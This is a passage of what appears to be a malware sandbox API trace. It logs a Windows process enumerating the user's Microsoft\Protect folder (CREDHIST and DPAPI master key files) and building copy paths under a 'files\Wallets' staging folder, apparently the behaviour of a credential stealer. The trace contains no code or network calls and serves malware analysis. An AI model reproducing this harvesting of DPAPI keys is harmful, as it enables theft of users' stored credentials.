lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" [0052.286] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\" [0052.286] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\." [0052.286] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.286] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.286] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\.." [0052.286] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" [0052.286] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\" [0052.286] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\.." [0052.286] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.286] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.286] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.286] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0052.287] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\CREDHIST") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\CREDHIST" [0052.287] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.287] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0052.287] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0052.287] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*.*" [0052.287] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a3c0 [0052.287] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\." [0052.287] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\." [0052.287] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.287] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.287] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\.." [0052.287] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.287] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\.." [0052.288] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.288] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.288] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.288] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="04cd465a-248d-4abd-853a-5cb67fe43510" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\04cd465a-248d-4abd-853a-5cb67fe43510") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\04cd465a-248d-4abd-853a-5cb67fe43510" [0052.288] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="04cd465a-248d-4abd-853a-5cb67fe43510" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\04cd465a-248d-4abd-853a-5cb67fe43510") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\04cd465a-248d-4abd-853a-5cb67fe43510" [0052.288] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.288] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="15d22704-736b-416f-a36b-857f2a5d2a7e" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\15d22704-736b-416f-a36b-857f2a5d2a7e") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\15d22704-736b-416f-a36b-857f2a5d2a7e" [0052.288] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="15d22704-736b-416f-a36b-857f2a5d2a7e" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\15d22704-736b-416f-a36b-857f2a5d2a7e") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\15d22704-736b-416f-a36b-857f2a5d2a7e" [0052.288] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.288] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="496f2c5b-a90f-4380-b805-3bf6ac63451b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b" [0052.288] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.288] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="496f2c5b-a90f-4380-b805-3bf6ac63451b" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b" [0052.289] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.289] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") 